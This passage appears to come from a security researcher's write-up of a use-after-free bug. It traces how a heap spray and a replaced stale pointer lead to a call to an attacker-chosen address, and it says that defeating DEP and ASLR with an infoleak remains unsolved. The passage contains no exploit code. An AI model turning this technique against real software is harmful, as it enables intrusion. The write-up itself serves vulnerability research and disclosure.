Edi+1c holds to the stale pointer that is now replaced with our chunk that holds 0x20302228, this is loaded into eax and the value at 0x20302228 is then put into the ESI register. This is the 0x6161615d that was sprayed there with the DEPS spray. The program then calls ESI+4, which is a call to our user supplied address 0x61616161 and proves code execution.
Further Exploitation
The next step would be to turn this into a fully working exploit. Because of DEP and ASLR, we would need to use this bug to create an infoleak. I spent some time looking into this, using
https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf as inspiration, but I could not find a way to proceed next.
If you have any ideas, please contact me to discuss them. I would be very interested into turning this bug into an infoleak.